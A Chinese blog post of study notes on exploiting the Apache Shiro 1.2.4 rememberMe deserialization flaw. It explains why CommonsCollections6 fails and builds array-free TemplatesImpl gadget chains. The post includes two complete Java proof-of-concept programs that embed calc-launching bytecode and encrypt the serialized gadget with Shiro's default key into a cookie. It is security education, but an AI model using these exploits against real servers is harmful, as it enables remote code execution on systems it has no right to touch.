首页 > 其他分享 >利用TemplatesImpl攻击Shiro

利用TemplatesImpl攻击Shiro

时间:2022-11-13 02:00:32浏览次数:68  
标签:TemplatesImpl obj 攻击 org key import apache new Shiro

前言

前边已经学习了CC1,CC6,CC3,其中1和3收到JDK 8U71限制的的,C6是通杀高版本的,但是通过TemplatesImpl构造的利用链,理论上可以执行任意Java代码,这是一种非常通用的代码执行漏洞,不受到对于链的限制,和CC6比起来,各有优缺点。下面学习一下两者的利用

CC6攻击Shiro

Shiro原理也比较简单:为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

环境配置

这里使用P牛简化的一个shrio1.2.4的登陆应用

导入IDEA,打包然后发布,访问http://localhost:8080/shirodemo/login.jsp

账号密码,root/secret,成功登录:

image-20221111193025105

如果登录时选择了remember me的多选框,则登录成功后服务端会返回一个rememberMe的Cookie:

image-20221111193300170

攻击过程如下:

  1. 使用以前学过的CommonsCollections6利用链生成一个序列化Payload
  2. 使用Shiro默认Key进行加密
  3. 密文作为rememberMe的Cookie发送给服务端

将CC6生成的payload使用Shiro默认Key进行加密。

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

加密的过程,使用的shiro内置的类 org.apache.shiro.crypto.AesCipherService ,最后生成一段base64字符串。 直接将这段字符串作为rememberMe的值(不做url编码),发送给shiro。并没有弹出计算器,而是Tomcat出现了报错:

image-20221111201649494

问题

异常信息的倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream 。可以看到,这是一个ObjectInputStream的子类,其重写了resolveClass方法:

image-20221111201834165

resolveClass是反序列化中用来查找类的方法(在动态加载字节码已经说过),简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.Class 对象。 对比一下它的父类,也就是正常的ObjectInputStream 类中的resolveClass方法:

protected Class<?> resolveClass(ObjectStreamClass desc)throws IOException, ClassNotFoundException{
	String name = desc.getName();
	try {
		return Class.forName(name, false, latestUserDefinedLoader());
			}catch (ClassNotFoundException ex) {
				Class<?> cl = primClasses.get(name);
				if (cl != null) {
					return cl;
				} else {
					throw ex;
            }
   }
}  

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName

而后者用的是Java原生的 Class.forName

关于这两者的区别,中间涉及到大量Tomcat对类加载的处理逻辑,参考文章

https://blog.zsxsoft.com/post/35

http://www.rai4over.cn/2020/Shiro-1-2-4-RememberMe反序列化漏洞分析-CVE-2016-4437/

结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组

构造不含数组的反序列化Gadget

前面说到的TemplatesImpl就可以利用了,通过下面这几行代码来执行一段Java的字节码

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

接下来利用InvokerTransformer调用TemplatesImpl#newTransformer方法:

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};

这里仍然用到了Transformer数组,不符合条件,在CommonsCollections6中,我们用到了一个类TiedMapEntry,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。 TiedMapEntry类有个getValue方法,调用了map的get方法,并传入key:

public Object getValue() {
return map.get(key);
}

当这个map是LazyMap时,其get方法就是触发transform的关键点

public Object get(Object key) {
// create value for key if key is not currently in the map
	if (map.containsKey(key) == false) {
		Object value = factory.transform(key);
		map.put(key, value);
		return value;
	}
		return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对LazyMap#get方法的参数key是不关心的,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个LazyMap#get的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

那么我们再回看前面的Transform数组:

Transformer[] transformers = new Transformer[]{
	new ConstantTransformer(obj),
	new InvokerTransformer("newTransformer", null, null)
};

new ConstantTransformer(obj) 这一步完全是可以去除了,数组长度变成1,那么数组也就不需要了。

改造一下CommonsCollections6

改造

首先还是创建TemplatesImpl对象:

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,但注意的是,此时先传入一个人畜无害的方法,比如getClass ,避免恶意方法在构造Gadget的时候触发

Transformer transformer = new InvokerTransformer("getClass", null, null);

再把之前的CommonsCollections6的代码复制过来,然后改上一节说到的点,就是将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl对象

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove(“keykey”);

完整POC如下

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InvokerTransformer("getClass",null,null);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.clear();

        setFieldValue(transformer,"iMethodName","newTransformer");

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //加密
        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

image-20221112151137620

CC3攻击Shiro

同理,我们把CC3接上TemplatesImpl

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollections3_shiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIwoABwAUBwAVCAAWCgAXABgKABcAGQcAGgcAGwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAcAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAHQEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA8AEAEAEGphdmEvbGFuZy9TdHJpbmcBAAhjYWxjLmV4ZQcAHgwAHwAgDAAhACIBABN5c29zZXJpYWwvdGVzdC9ldmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAADsABAACAAAAFyq3AAEEvQACWQMSA1NMuAAEK7YABVexAAAAAQALAAAAEgAEAAAADwAEABAADgARABYAEgAMAAAABAABABEAAQASAAAAAgAT");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "Arsene.Tang");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        Transformer transformer = new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj });
        Transformer fakeTransformers=new ConstantTransformer(1);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap,fakeTransformers);

        TiedMapEntry tme = new TiedMapEntry(outerMap,TrAXFilter.class);

        Map expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.clear();

        setFieldValue(outerMap,"factory",transformer);

        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        //加密
        byte[] payload= barr.toByteArray();
        AesCipherService aes = new AesCipherService();
        byte [] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource finalpayload = aes.encrypt(payload,key);
        System.out.println(finalpayload.toString());
    }
}

image-20221112151613951

标签:TemplatesImpl,obj,攻击,org,key,import,apache,new,Shiro
From: https://www.cnblogs.com/gk0d/p/16884175.html

相关文章

  • shiro和JWT
    shiro有状态登陆,存在服务器端。JWT无状态登陆,存在客户端,JWT生成的token默认有效期是三十分钟,并且,JWT无法使已经生成的token失效。有状态就是说把信息存储在session中,因......
  • 从医疗保健攻击到HIPAA 合规性
    医疗机构无疑是网络攻击的热门目标。攻击者因在暗网上出售一条健康记录而获取高额佣金,在各行业网络安全报告中医疗保健行业的攻击事件占比居高不下,这有什么奇怪的吗?根据202......
  • Slow Post DDoS攻击
    一、简介在SlowPostDDoS攻击中,攻击者将合法的HTTPPOST表头发送到Web服务器,在这些标头中,将正确指定后面的邮件正文的大小,但是,消息正文以令人痛苦的慢速发送,这些速度可能......
  • 【漏洞分析】HPAY 攻击事件分析
    背景造成本次攻击的原因是关键函数的鉴权不当,使得任意用户可以设置关键的变量值,从而导致攻击的发生。被攻击合约:https://www.bscscan.com/address/0xe9bc03ef08e991a99f1......
  • 016.Mybatis预防SQL注入攻击
     1.Sql注入是什么  2.俩种传值方式  3.相关语句(高级查询必须要进行sql拼接时用$,如${order},但绝对不能让用户从前台输入)<selectid="selectByTitle"parame......
  • 在SpringBoot项目中使用shiro框架实现权限管理
    1、建立springboot项目目录结构这个样子的<hr>2、项目的jar包依赖<dependencies><!--整合shirosubject:用户securitymanager:管......
  • 基于AD Event日志检测NTDS凭据转储攻击
    01、简介在域环境里,域内用户hash存储在域控制器(ntds.dit)中的数据库文件中,ntds.dit文件是无法直接被复制的。在这种情况下,我们一般可以利用卷影复制服务(VSS)来实现ntds.......
  • SpringBoot集成安全认证框架Shiro的简单方法,能有效区分RestAPI 接口与web页面的不同处
    本文介绍在SpringBoot2.6下配置Shiro认证的方法:1.pom.xml引入依赖<dependency><groupId>org.apache.shiro</groupId><artifactId>sh......
  • Apache shiro 反序列化漏洞
    Apacheshiro简介ApacheShiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从......
  • 《原神》游戏数据疑遭攻击被泄露 涉及未来数月的内容
    近日,全球火热的二次元开放世界游戏《原神》的开发商米哈游(HoYoverse)遭遇了大规模数据泄露。大量的信息在网上被分享,揭示了从3.3到3.8版本的新角色、任务和事件的细节。Ho......